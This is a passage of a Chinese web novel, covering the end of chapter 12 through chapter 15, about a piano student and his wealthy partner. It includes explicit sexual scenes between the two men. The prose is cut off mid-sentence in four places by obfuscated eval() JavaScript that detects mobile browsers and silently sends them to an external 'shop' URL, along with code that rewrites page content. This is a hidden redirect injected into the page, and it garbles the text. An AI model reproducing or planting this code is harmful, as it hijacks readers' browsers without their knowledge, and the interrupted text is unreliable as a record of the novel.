l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154657|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢,就被警察带走了,我们都联系不上他,估计手机被扣了吧。” “服了,我们小组的ppt都是他在做,一声不响进去了,汇报作业的时候开天窗,老师以为我们在编瞎话差点要给零分。” “楼上同学你很惨,但这是重点吗?重点是我们学校有学生搞敲诈勒索进去了啊!” “犯罪既遂,还真让他敲诈成功了,平常我就感觉他阴森森的不好相处,背地里还敢干这种事。” 学生群里消息正热闹,全都在讨论今天上课的时候,警察上门带走钢琴专业某大二学生的事。 虞清念咬了一口草莓尖尖,躺在沙发上数卡里的0,三百万,对方还没来得及花就被警察逮捕,欠款一分不差退回,他解决了麻烦,还把包换成了流动现金,妙哉。 唯一的问题就是包没了,该怎么解释。 “叮铃铃——”客厅的座机响了,虞清念光着脚匆匆忙忙跑过去,抢在管家之前接听了电话。 “喂——猜猜我是谁!”他趴在沙发扶手上,耳朵贴近听筒,柔软的白色衣袖盖住半个手掌,听到了对面传来的低沉笑声。 陆诏顺着他说:“陈管家?感觉声音变年轻了许多,不太像。” 虞清念单手托住腮,嘴角垮下来威胁:“你还有一次机会,猜错了就不要回来了。” “是最厉害、最漂亮、最可爱的小钢琴家,我猜对了吗?”陆诏低声问。 “哼,勉勉强强吧。”虞清念翻了个身躺在靠枕上,扯着电话听筒说,“我今天好早就回家了,还练了很久的琴,就为了等你电话,但你竟然没给我打,打的家里座机。” 陆诏说:“这不是也接到了?殊途同归。” 虞清念抠着指甲说:“不一样,你都不关心我,都不问问我今天过得怎么样。” “对了,我跟你说,小刘把我的包弄坏了!你新送我的那个,他提了一下卡扣就坏掉了,我送去店里修耽误了好久,结果说要返厂。” 虞清念先下手为强,他从餐厅溜去警局这段时间小刘不知道,最终是在商场里面两人才遇到。他不保证小刘不会把这件事告诉陆诏,中间空下来的这段时间,他早就想好了万无一失的对策,也为包的消失找好了理由。 陆诏倒没多说什么,只是道:“喜欢的话再买一个就是了。” “不要了,太重了,今天提的我手疼。”虞清念装模作样抱怨,“小刘太粗鲁了,能不能换一个司机跟着我呀!你送我的礼物呢,他随随便便就弄坏了。” 陆诏说:“不喜欢他?” 虞清念眼睛微抬,看着天花板上的浮雕说:“有点,今天一回头发现他离我特别近,不喜欢他身上的味道。” 电话那头沉默了几秒,陆诏不知道在想些什么。 “今天老师给了我张报名表,可以参加大师课的,我很想去但是竞争很激烈,我怕比不过…” “谁的大师课?” “劳克斯,就是…”虞清念说了首他最出名的曲子。 陆诏点头:“你好好准备,没问题的。” 既然陆诏说没问题,那就是没问题。 虞清念的目的达成,小腿上下晃了晃,嘴角露出狡黠的小梨涡,“这个电话举着好累哦,我能不能挂掉等会儿和你打视频…” 他要去打游戏,把手机扔掉全心全意打游戏,等陆诏问就说练琴太专心没听到,后来睡着了,反正今天已经通过电话报备过了,陆诏没理由苛责他的。 刚想挂掉,就听到陆诏说:“等我回酒店,念念别着急。”低沉的尾音带了三分醉意和暗示。 虞清念眼睛睁大,忙解释道:“我没有,我不是那个意思……” “等我打给你,乖。”陆诏挂掉了电话。 虞清念呆在原地愣了好久,终于反应过来陆诏最后那句话是什么意思,他的耳根微红,默默抱住膝盖低下头,牙齿一下下磕在下唇上。 13. 第 13 章 “陆总在这儿躲酒?”天台栏杆处,对面就是一望无际的海,豪华游艇停在海面上,正往远处行驶。海对岸是如繁星般的灯光耀眼夺目,串联起迷人眼球的奢华世界。 来人四十岁左右,身量高挑,说话有着不太明显的口音,拍了下陆诏的肩膀调侃道:“要是在酒桌上陆总也能那么温柔,我们会有更多合作空间的。” 陆诏闻言转头,端起一旁的酒杯和他碰了下。 “王总的生意,可不是一般人能做的,太费精神。”深蓝色的西装包裹住结实有料的身材,陆诏的眼睛里倒映着对面的灯光,三分醉意更添亮色。 王庆启把杯口放低,跟他相碰之后饮下一杯,“所以我这笔生意,只能找聪明人做,除陆总外没有第二人选,王家跟内地做生意往来并不多,还要多多依仗陆总。” 陆诏摇头:“王总太过自谦,我也只是普通商人,只有合作才能共赢。” “说得好,那就预祝我们合作顺利。” 又是一杯酒下肚,王庆启面上红润,刚刚不小心听见陆诏讲电话,这时凑近打听道:“陆总青年才俊又一表人才,可有婚配?” 陆诏垂眼说:“还没有。” “我有个侄女,在国外学钢琴,研究生即将毕业回国,陆总可有……” 陆诏晃了晃手机,笑道:“家里有人,看得紧。” 王庆启搓了搓手指,又说:“今晚陆总有没有兴趣光临一下我们这儿的夜场,跟海市肯定各有千秋,隔着那么远,您家里的一定不知道。” 陆诏嘴角弧度变平,摇头说:“我就不去了,你们尽情玩,我买单。” “到这里怎么能让陆总买单,或者我们换个活动,玩牌打球都可以。”王庆启笑眯眯说。 陆诏道:“王总不知道我家里的小朋友多难伺候,刚刚还打电话来非要视频,看看我周围没有别人才安心,要是被他知道我有别的心思,指不定闹成什么样呢。” “是陆总好福气,黏人才说明对方重视你,那句话怎么说来着,真正的爱情总是排外的。”王庆启两句话就知道陆诏不是什么在男女之事上好打动之辈,无奈只能作罢,捡着陆诏爱听的恭维几句。 “不过王总刚才说您侄女在国外学钢琴?哪个学校?” 王庆启说了个学校名字,颇有自豪之感:“这孩子从小就聪明,她现在跟着的导师很有名,听说过阵子还要来中国访问。” 陆诏听到那个名字,眼神微动。 ———— 别墅三楼其他的灯光已经熄了,只有卧室的还亮着。虞清念穿了件大领口的薄款上衣,洗完澡趴在床上打游戏,笔直的双腿从短裤裤腿里伸出来,翘在空中晃动又交叉,脚底因为热水的浸泡还泛着粉红。 他握着手柄聚精会神看向对面的屏幕,一板一眼专心砍树。 自己种植收集物资的这款游戏是他的最爱,已经玩了很久,最大的快乐就是指挥小人慢慢来劳作,把仓库囤积满,然后出售货物给npc,把金币不断累积。 每次看到金币后面那串长长的数字,虞清念都会很满足。 游戏里冬天快到了,他得赶紧砍完树完成今天的任务,然后去钓鱼,不然冬天一到河就冻结,他没办法钓鱼了,有个跟鱼有关的大订单,他今天一定要达成! 游戏音乐开得很大,欢乐又动感沉浸,等到一排订单终于做完,虞清念把手柄朝旁边一扔,整个人卷到被子里从床尾滚到床头,加宽的双人床成了他翻滚的乐园,陆诏不在,他想睡哪儿就睡哪儿,想亲小狐狸就亲小狐狸! 他朝上伸直胳膊懒懒打了个哈欠。 放在一旁充电的手机屏幕亮了起来,伸直的手指不小心按到接通键上,“叮”的一声,耳边传来手机听筒外放的声音:“怎么那么久才接电话。” 熟悉的声音通过手机多了一分失真感,金属质感的低音舔舐着耳朵,带着不同寻常的气息,听筒离耳朵太近,一瞬间激得少年缩起脖子,揉了揉发麻发痒的左耳。 他眨了眨眼睛,转头看见屏幕里是陆诏的脸,从下往上仰拍的角度,看背景是在酒店床上,不知道他把手机放在了哪里,镜头微晃,只露出嘴唇往下的地方。 灰色的睡袍简简单单系了个松松的扣,可以看见水珠从喉结滑下来,顺着胸前的肌肉线条一直滑进腰腹,然后消失不见。 少年心虚地咽了咽口水,一边默默欣赏肌肉,一边低头看了眼自己的腹部。 还可以!没输!虽然自己没有腹肌,但也没有肥肉啊! 目光掠过对面暂停的游戏画面,虞清念拿起手机对准了自己的脸,慌忙把电视关上,掩饰道:“刚刚在洗澡,没听见手机响。” 他找了个自己的脸最漂亮的角度,眼睛睁大。 对面诡异的安静,只有某种摩擦声和若有似无的低声呼吸,虞清念眨了眨眼睛,攥住被角问:“你、你在干嘛啊…” “念念觉得呢?”特殊的咬字方式有独特的韵味,有自由的散漫,还有隐藏在最深处的掌控感。 虞清念抿了下唇,瞥过镜头下方那块隐没在睡袍下摆的暗色,脚跟在床单上无意识搓了一下,小声说:“…我不知道。” 宽松的薄上衣露出锁骨,少年纤细轻薄的肩颈线条露在外面,上面的吻痕还没完全消散,像是绽放在素白宣纸上的朵朵梅花,活色生香。 虞清念握着手机微微垂眼,睫毛轻晃。对面又不说话了,布料的摩擦晃动和隐秘的水声让人后颈发酥头皮发麻,那声音越来越快,快到让他只是听着,也觉得喘不过气。 他弯着腿坐在床上,羊脂玉般丰盈的腿并在一起,白得晃眼,两个膝盖紧紧相贴,底下的嫩肉被压扁摊开在床面上。虞清念闻着熟悉的香薰味道,靠在熟悉的枕头上,连耳边的频率也是那么熟悉,一度陷入错乱的幻想之中。 他咬不住嘴唇,握着手机的指头也开始发颤,终于忍不住,软着声音对陆诏说:“我也想…可不可以…”尾音拉长,像是草莓蛋糕最上层的奶油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154658|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般甜美。 “想什么?”到这份上了,陆诏竟然还能冷静跟他对话,但开口的音色却于无形中撩人。 虞清念把手机放远,不敢看着屏幕,别别扭扭说:“跟你一样。” 屏幕里陆诏的喉结上下滑动,微微的汗珠在脖颈处泛着光,他压低声音问:“念念不是不知道我在干什么吗?” 原本整齐的被子被虞清念揉乱了,一半垫在身下,一半盖在身上,被袖子盖住一半的手指朝衣服下摆伸去,他脸颊发红掀起衣摆挡住的地方,给陆诏看自己的状态,两秒之后又盖了回去,晃了晃腰又问:“可不可以,真的很想——” 屏幕里是一双朝上抬起的大眼睛,泛着渴望的水光,黑白分明格外纯真,但睫毛开合间隐隐有艳色。少年短裤边朝上卷起,上衣又长,短裤几乎完全隐藏在衣摆之下,露出的一截大腿随之左右摇晃,像是鲜嫩可口的牛奶布丁。 陆诏单手拿着手机,低头命令道:“先回答我的话,想干什么。” 虞清念扁嘴,手指搅动着被子说:“想碰一碰…” 陆诏点了下头,点击了翻转屏幕。 瞬间,虞清念的瞳孔微缩,舌头抵住上牙膛,喉结滚动了一下,呼吸声逐渐明显,眼神随之上下移动。 “呜——你不能这样…我也想。”他难耐地晃动身体,小腿往外甩了甩。 “乖小孩可以没有允许自己碰吗?”陆诏问。 虞清念摇头,发出几声难受的泣音,画面过于刺激,他情绪太过兴奋,额角出汗,碎发粘在上面翘起来,失去了在外面的优雅和从容。 “想不想吃草莓蛋糕?”低哑的声音从手机里传来,虞清念一瞬间就听懂了他的言外之意,那张发出又撤回的草莓蛋糕live图,只有他们两个懂是什么意思。 虞清念双手攥住衣角,慢慢挪动着靠近手机屏幕,睫毛尖上挂着泪珠,红红的眼眶看起来格外可怜。 他缓缓张开嘴,舌头摊开朝外乖巧伸出,前端微微朝里兜起。 ———— 等陆诏收拾完,屏幕里的少年浑身细颤着缩在床上,面对摄像头的脚趾蜷缩在脚心,时不时抖一下。 “念念怎么看起来那么可怜,嗯?”温柔的令人害怕的声音让虞清念仰起头,他现在让被子蹭一下都难受,感官过载,求而不得的滋味他没办法抵抗。 “救救我——帮帮我,呜呜哥哥帮帮我……”他拉长了声音抽泣,呜呜咽咽破碎可怜。 陆诏嘴角勾起,灯光从头顶照下来,他一半面孔在光里,一半被黑暗掩盖,以一种哄人的语气说:“好了,别哭了,五分钟够吗?” 虞清念连忙点头,忙不迭凑到屏幕前感谢他。 当眼前闪现白光的时候,他仿佛看见对面的陆诏身上也在发光,像是普度众生救他于水火的救世主。 但虞清念也十分清醒地知道,降下枷锁和牢笼的恶魔和救世主长着同样一张脸。 他的春梦和噩梦,都是陆诏。 14. 第 14 章 夜晚的海上风吹来咸腥的味道,一轮巨型豪华游轮横在汪洋大海上缓缓行驶,罗盘朝东,十几层楼高的游轮内部响着欢乐的爵士乐曲,甲板上有人端着红酒边聊天边看星星,进入十四层大厅内部,是极为宽敞的宴会布置,雕刻花纹的罗马柱撑起挑高的顶部,中间一座圆形的香槟塔正往外喷出源源不断的泉水。 港城有名的富商王庆启来海城举办游轮拍卖会,衣香鬓影,名流云集,此时剧场中央正在演着百老汇歌剧,打扮精致亮丽的演员歌声动人,舞姿精湛,成为了社交名利场上的背景音乐。 舱房休息室里,虞清念正坐在阳台躺椅上吃薯条,远处的灯塔逐渐消失在视线里,他伸手捞起一根炸得酥脆的薯条蘸上番茄酱,投掷进自己嘴里,头靠在躺椅上望着远处卷起波澜的海面,以及满天繁星。 套房的隔音很好,他听不见上面男男女女的社交声,也听不见舞曲,只能听见海浪有规律的声音,内心平静又放松。 又摸到一根薯条,刚要往嘴里送,胳膊伸到一半就觉得手中一轻,那根薯条被旁边的人咬走大半,只剩下一个尾巴。 虞清念噘着嘴朝旁边看去,陆诏已经穿戴整齐,坐在另一边椅子上,一条腿搭起,十指相扣放在膝盖上,好整以暇望着他,斯文优雅正经的模样完全看不出刚刚偷吃了自己的薯条。 “薯条贼!拿命来!”虞清念猛地跃起朝他扑过去,没想到被两条有力的手臂直接抱起,像抱小孩一样托着腋下提起往房间里走。 “宴会快要开始了,你现在该换衣服。”陆诏抱着他按在床上,把今晚准备好的服装拿出来放到一旁。 虞清念晃了晃膝盖,说:“主角都是压轴出场的,去那么早干什么,很无聊,而且我又不认识他们。” 他打量了下陆诏的表情,嘴边抿出小小的梨涡,一头扎过去埋在人胸前说:“你帮我穿嘛——” 刚刚打好的领带被他蹭乱了,但陆诏只是揉了揉他的头发,道:“自己的事情自己做。” 虞清念蜷着腿坐在床上显得人很小,发出拒绝的鼻音,仰起脸从下往上用无辜的眼睛望着他,上下嘴唇轻轻一碰,用气声叫了两个字,然后朝陆诏伸出两个胳膊做出要抱的姿势。 陆诏呼吸微滞,眼睛眯了眯,上下扫视着少年的脸,沉声说:“找死是不是?” 虞清念垂眼看向他的腰带下方,嘴角勾起,丝毫没有被吓到,依旧亲亲热热地抱住他的手臂晃了晃,“我不会穿,帮我——再不快点要迟到了。” 陆诏磨了下后槽牙,把他拎到自己腿上坐着,手朝下伸去,引得虞清念缩起来小声尖叫:“不要——” 少年脸色逐渐变红,一开始推着陆诏的手臂,后来忍不住往上蹭,最受不了的被手心包裹旋转,薄薄的茧子让他哆嗦着往上打挺。 “叫我什么?”陆诏低头看着他的表情,“再叫。” 在临近边缘的位置,修剪整齐的指甲时轻时重,让虞清念上一秒尖叫着摇头,下一秒又僵直在原地。 舱房的大门十几分钟后被打开,虞清念穿着十分合身的西装,头发也被打理过,从头到脚都像是水晶一般耀眼夺目,他正站在陆诏旁边,抬起手腕看上面戴的那块表,和陆诏的是情侣款,指针上的钻石十分漂亮,只是时不时抖动的腿根昭示着什么秘密。 当二人出现在大厅门口的时候,宴会还没正式开始,港商王庆启正在招呼客人,看见陆诏后,抬步走来,和他握了个手,面上带笑:“陆总来了,蓬荜生辉,这位是…” 他看向虞清念,眼中带了一丝惊讶,但很快就被掩盖过去。 “你好,我叫虞清念。”打扮优雅得体又带着青年和少年之间特有的气质,虞清念一出场就吸引了很多人的关注,一方面是因为他本人,另一方面是因为他站在陆诏身边。 很多人都听说陆诏有个养了几年的宝贝,平时看得紧不怎么让人出来,现在把他带到大庭广众之下还是第一次。 “小虞先生很优秀,我经常听陆总提起,听说在念钢琴专业?” 虞清念点头。 王庆启说:“正好我有个侄女也在念钢琴,小韵,过来跟陆总打个招呼。” 周韵穿着一袭白色礼服从不远处款款走来,很有礼貌地跟陆诏和虞清念问好。 虞清念见到同行还是多少有些激动的,问她在什么学校,听到华莎大学的时候,内心微动。 “不如让他们聊着,陆总您跟我……”王庆启做了个手势发出邀请,陆诏看向虞清念询问他意见。 “你去吧!放心,我可以照顾好自己的。”虞清念巴不得陆诏离他远点,他就可以随心所欲玩耍,那么大的游轮好玩的那么多,要是一直跟在陆诏旁边看他谈生意,可无聊死了! 摆出乖巧的表情目送陆诏离开,等人影消失在视线尽头,虞清念往后靠在沙发上,端起服务生托盘里的饮料喝了一口,笑眯眯望着周韵说:“你们学校有一位教授很有名,我很喜欢他。” 当他听到劳克斯就是周韵的导师的时候,几乎要跳起来,身体前倾对周韵说:“真的!他过阵子要来我们这里访学,你知道吗?” 周韵点头:“我知道,所以我才有空回国,不然就他那个变态教学个性,不等圣诞节我是回不来的。” “劳克斯先生很严厉吗?”虞清念挑选了一块草莓蛋糕,问周韵,“你想吃哪个?我帮你拿。” 周韵笑道:“我减肥就不吃了,至于严厉,嗯……德国人的个性你知道的。”她耸了耸肩。 虞清念和周韵相谈甚欢,在钢琴上互吐苦水,就中外教育的参差发表感慨。 “你研究生去国外的话,陆先生会同意吗?德国的学校没那么容易毕业,如果跟着劳克斯教授更难,三五年不一定能回来。”二人相熟之后,周韵也没了一开始的拘谨,开了两句玩笑。 虞清念垂眼,盯着盘子里的草莓蛋糕,而后抿唇一笑。 陆诏同意的概率不大,今年着急让他进文艺协会,就看得出一二。 “周韵!你怎么在这儿,不应该去好好陪一陪鼎鼎大名的陆总?别辜负了伯父的好意啊!要是真嫁入豪门,以后不用抛头露面弹琴了。”一个说话欠嗖嗖,头上像打了五斤发胶的年轻公子哥一屁股挤进了周韵和虞清念的中间坐下。 虞清念闻到他身上难闻的香水味,皱了下眉。 周韵看了一眼虞清念,呼出一口气道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154659|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我今天不想理你,伯父让我来只是展示拍卖品的,没别的意图。” 王年说:“你就算攀上陆诏,别忘了我也是伯父的侄子,有优先拍卖权,这次的东西我要定了。” 周韵看起来并不怕他,甚至对他的挑衅未置一词。 王年被她的样子激怒,怒声说:“你真以为自己胜券在握?” “没到最后,发生什么都不一定呢。”周韵淡淡道。 “哎——你……” “麻烦让让,我要出去。”虞清念在他抬起手想骂人的时候,拿脚尖对着他的鞋踢了一脚。 王年怒气冲冲转过头说:“你谁啊?我这鞋多少钱你知道吗?踢坏了你赔得起吗?” 虞清念站起来淡淡瞥了他一眼,声音像风一样掠过:“需要赔的话把账单寄给陆诏就好了。”他整个人也像一阵风飘过走远,只留下了一点青苹果的味道。 王年脸上颜色变了又变,指着周韵想说什么,又狠狠瞪了她一眼离开。 宴会厅最里侧在举办舞会,暗红色印着繁复花纹的地毯上一双双皮鞋和高跟鞋贴近又远离,女士们的裙摆在空中扬起漂亮的弧度,珠宝随着动作摇晃,撞出悦耳的声响,优雅的小提琴音乐响彻整个宴会厅。 虞清念坐在一侧的丝绒沙发上喝着饮料,青苹果气泡水又酸又甜,回味悠长,他跳得有些热,脱了外套一个人坐在这里休息,漂亮的面孔还是吸引了很多人来邀请他共舞,其中有男人也有女人,但之后的每个人都被他拒绝了。 跳舞是为了放松,又不是为了运动。 他在听背景里的钢琴声,演奏者水平不错,和小提琴配合也默契,但是面对大开大合的激扬篇章时总是差那么一点,上不去又下不来。 又是一首乐曲切换,场上人有下有上,交换舞伴。 又是一只手伸到眼前邀请他跳舞的,虞清念连眼睛都没抬就拒绝道:“不好意思脚崴了,跳不了。” “刚才不是还好好的?”熟悉的声音响起,虞清念抬头去看,竟然是陆诏。 他猛地站起来,不知道刚刚自己在这里跟好几个人跳舞玩笑的样子有没有被看到,他今天晚上还是遇到了不少有趣的人,其中有个儒雅绅士的男人很会讲笑话也很体贴,只是从文学音乐最后又要跟他聊童年心理创伤的时候,虞清念及时制止住了话题。 等他一说不能加联系方式,怕被老公捉奸之后,男人脸色铁青走了,留虞清念一个人坐在沙发上笑得前仰后合。 他把手放在陆诏手心,感受到了温暖熟悉的包裹感。 “你怎么才来找我,好无聊。”他的抱怨听起来都像撒娇,掺杂着暗暗的试探,想知道陆诏是什么时候发现自己在这儿的。 陆诏低头捏了捏他的手,“大海捞念念,确实没那么容易。” 身后小提琴的前奏突然响起,下一首曲子是二人都很熟悉的——一步之遥。 他们两个第一次见面,也是在这样一个宴会,那时候的背景音乐同样是一首一步之遥,但那时,陆诏是赴宴者,而虞清念,和现在坐在钢琴之后伴奏的服务生一样,是背景板。 当然,他也不可能仅仅只是一块沦为陪衬的背景板。 15. 第 15 章 华丽的水晶灯悬挂在天花板上璀璨夺目,虞清念穿着餐厅提供的简单白衬衫黑裤子,坐在一架钢琴前弹奏,流畅的钢琴声和小提琴交织在一起,这首一步之遥中少了缠绵悱恻,多了忧愁难释和一丝决绝。 陆诏坐的位置正对那架钢琴,少年身上廉价不合身的衣服没有阻挡他身上的光芒,即使只是打工,但手下的曲子中也能听出注入的感情,漂亮的面孔如同蒙尘的珍珠,琴键在他手下不像是用来赚取钞票的台阶,而像是表达自我的利剑玫瑰。在一曲结束后,虞清念听到了不轻不重的掌声,抬眼望去,隔着茫茫人群和喧闹的社交声音,他与一个人视线相对,是被很多人簇拥在中间的陆诏。 陆诏,二十八岁,海城陆氏集团继承人、现任总裁,在新鲜出炉的青年企业家财富排行榜中排名第一,天之骄子。经虞清念打听,对方平时没有花边新闻,也没有包养小明星的爱好,十分洁身自好。外界知道的只有他之前谈过一个男朋友,两家世交,对方非和平分手,在几年前出国,至此,关于陆诏的感情生活没有再多的消息。 他除了是钻石王老五之外,还有个身份,是青年慈善家,陆氏每年都会拿出收入的一部分资助贫困儿童上学,成立专项基金会,这个传统从陆氏集团建立的时候就一直延续至今,在陆诏手中更是落到了实处,所以他在圈子里名声一向很好。 最重要的一点是,虞清念父亲出事后家里欠债倒闭的公司的收购方,就是陆氏。 喜欢男的,未婚,不乱搞关系,非常有钱,善良有慈心,这是他对陆诏的人物画像。 年轻的漂亮男孩出现在权贵聚集的社交场上,无疑会吸引很多目光,尤其是他的身份仅仅只是一个可有可无的服务生时。 到了宴会后半场,虞清念被叫去给客人倒酒,他一边在心中盘算着自己的计划,一边望向今天自己的目标——陆诏。 不知道是心有灵犀,还是对方对于视线的捕捉太过厉害,陆诏竟然在那一瞬间回望过来,视线落下来时带着几分漫不经心,眼底深处却藏着的锋芒,那一眼很平静,只是平静,没有半分兴味和跟其他人一样对他美貌的垂涎。 虞清念对他浅浅笑了一下,唇边梨涡清浅。 清瘦的少年握着酒瓶来到桌上,低眉垂眼做着以前他根本不会干的活,纤细的手指握住酒杯,不小心洒了两滴在客人的鞋上,那位客人皱起眉,当他看到虞清念的脸时,顿时露出一个惊讶的表情,而后转为轻蔑。 “虞清念,没想到会在这里遇见你,堂堂虞氏小少爷,怎么会来做伺候人的活呢?你那双弹琴的手,倒的明白酒吗?”杜宾露出嘲讽,作恍然大悟状,“哦,我忘了,虞氏已经倒闭了,你是杀人犯的儿子。” 他刚刚在一场钢琴赛事中输给虞清念,只得了第二,他爸知道了这件事把他痛骂一顿,说人家家里发生那么大的变故都能得第一,你怎么不能跟人家学学呢? 杜宾和虞清念高中在一个班,本来他三岁开始学弹琴,天赋异禀,身边的人都捧着,谁想到虞清念转学来之后,就成了那个事事压他一头的人,让他抬不起头,他早就看虞清念不顺眼很久了,连忙问他爸,虞清念家里发生了什么事。 原来,就在几周前,虞家公司底下出了人命官司,闹的很大,资金链断掉破产了,欠银行一堆债务,虞父虞母又正好出车祸现在住院抢救,虞清念从天之骄子变成现在需要打工还债的服务员,此时不踩一头,杜宾怎么可能气顺。 虞清念瞪了他一眼说:“我爸不是杀人犯,你嘴巴放干净一点。” 原本一直被家长老师拿来和他对比的好学生一落千丈,现在只能为自己倒酒,杜宾其实心里很痛快,但看他现在都这样了还做出那副清高样子,伸手推了他一把,说:“我不但说还要打你呢,你能怎么办?” 没用出全力的一个推搡,竟然把虞清念推出很远,少年脚下踉跄,身形一个不稳,就摔倒在了地上,手中的酒杯里的液体泼洒出来,一半洒在他脸上,一半倒在了他身后倚靠之人的裤脚上。 巴掌大的小脸上,香槟色的的透明液体顺着鬓角往下滴落,黑白分明的眼睛朝上抬起,浓密鸦黑的睫毛上坠着滴滴水珠。虞清念被推倒在地,腰背顺着身后人的小腿一路滑过,最终坐在了地上。 他支撑起身体往回仰头,瘦削的肩膀之上,是湿漉漉的面孔带着雾气般的清纯,被欺负后的可怜和不服输的倔强同时在脸上展现,漂亮如宝石般的的眼睛缓慢上抬,望向刚刚自己倒地时不小心误伤的人,说:“先生……对不起,弄湿了您的裤子。” 他倒在男人脚边,双手撑地慢慢起身时,侧颈修长拉出一道倔强的线条,岂料脚下一滑,又要摔倒,碎成片状的玻璃杯碎片就在周围地上,他再摔下去的惨状可以想象,虞清念在赌,赌这个陆诏究竟是不是像他想的一样有善心。 陆诏伸手扶了一把他的胳膊,细细的手臂只手可握,被攥住的手臂内侧软肉触感很好,不是完全不锻炼的松散,带着一股韧劲,即使隔着一层衣服,也能感觉像是云朵一般,一掐就能碎掉,和他常年在健身房练出来的肌肉不一样。 眼前这个少年处境可怜,脊骨硬挺,破碎感十足的同时又有不服输的倔强,又硬又软,气质十分独特。 周围没有一个人朝他伸出援手。 虞清念借着他的力站稳了身体,轻声说了句谢谢。 餐厅经理听到动静忙赶了过来跟客人道歉,说是他们没做好工作,打扰客人兴致了,转头就指着虞清念数落道:“你怎么回事儿?惹得顾客不开心,快点跟客人道歉。” 他提着虞清念来到杜宾旁边,硬按着要他给杜宾道歉,即使明眼人都看得出来他是受害者。 “我没错。”虞清念站的很直,像是一杆青竹,对权贵不肯弯半分腰。 他被经理拉了下去,一场小插曲结束,没在在场宾客们的心里留下半分印记。 宴会结束后突然天降暴雨,在庄园外蜿蜒隐蔽的小道上,虞清念掏出手机,噼里啪啦的雨点拍打在屏幕上,雨滴晕开一朵朵水花,模糊不清。他看了一眼时间,在心中估算车开出来还需要多久。 在雨中等身后的脚步声追来的时候,虞清念以一种轻蔑的姿态对前来堵他的杜宾说:“这就是你的手段?以多欺少,能不能再阴险一点。” 苍白湿润的脸带着睥睨,丝毫没有半点恐惧:“我忘了,你就会搞这些下作手段,怎么钢琴比赛提前偷到了题也没赢过我啊?”虞清念余光看见不远处的车灯照亮了一片黑暗,一辆低调奢华的轿车从庄园停车场出口朝他的方向开来,细细密密的雨水像是断了线的珠子从天上下降,被车灯照出一连串雨幕。 他看清了车牌上的号码,故意捡最能惹怒杜宾的话挑衅,脚步朝外慢慢移动。 杜宾没想到这条丧家之犬落得现在这般田地,还是不肯朝他低头认输,怒气上涌,挥手让旁边的人上去打虞清念一顿。 黑暗中,雨夜里,陆诏坐在车子后排,摊开手心又缓缓握住,像是在抓什么看不见的东西。视线移向自己带着酒渍的西裤,不知道在想些什么。 他的秘书盛宜坐在副驾,向他汇报明天的行程安排,等说完最后一项,盛宜语气微滞,思索片刻还是开口道: “陆总,蒋医生打电话来,说根据上周做的心理报告分析,您…有从平衡型向极端型发展的趋势,想跟您约一下下次复诊的时间。” 盛宜手中的加密型平板中,一份心理报告正显示在上面,诊断结果一栏写的是:白骑士综合症。 谈到自己的心理问题,陆诏并没有表现出什么异样,他朝左侧转头,不知发现了什么,表情变得有趣。黑暗中的玻璃窗外是点点雨水朝下滑落,倒映着男人轮廓清晰的侧脸,他只是道:“有时间再说,开慢点。” 盛宜刚想再劝,车子突然一个急刹。外面暴雨如注,一个身形单薄的少年倒在地上,后面跟着一群身量高大的男人,正在对他进行围追堵截。 虞清念刚刚在巷子里一个左勾拳把杜宾打得流鼻血,他很灵活,也不跟这些人一般手里拿着伞碍事,四五个人轮番上来也没在他手下讨到一点好,反而杜宾被他打了不少下。但不知道发生了什么,虞清念突然像是力气不支,身子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154660|196528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一歪坐在了地上。 杜宾脸上挂着被戏弄过后的怒气,见虞清念处于劣势,立马把伞朝后面一抛,喝道:“给我上,按住他!” 大雨滂沱,在柏油路上溅起水花,虞清念面上全是雨水,眼睛像是隔着一层水光玻璃般雾蒙蒙,他像是已经失去力气坐在雨里,苍白发青的手指撑在地上,一点点朝外挪动,身后是对他穷追不舍的人群。 突然,一道刺眼的车灯照过来,他被照得眯起眼睛,眼眶发红,琉璃珠似的眼睛倒映出一圈亮光。 朝外望去,在漫天大雨里,后排车窗缓缓下降,一张英俊成熟的脸从玻璃窗后露了出来。 虞清念眼睛一亮,但身后的追堵已经近在眼前,在杜宾的怒骂声里,他呼吸中带着焦急的喘息,眼中满含请求,对陆诏说:“救救我…求求你,救救我——” 这个亟待拯救的、充满恐惧的、浑身湿漉漉的少年,脆弱、不服输、刚过易折的少年,很像陆诏小时候在路边捡到的那只猫。 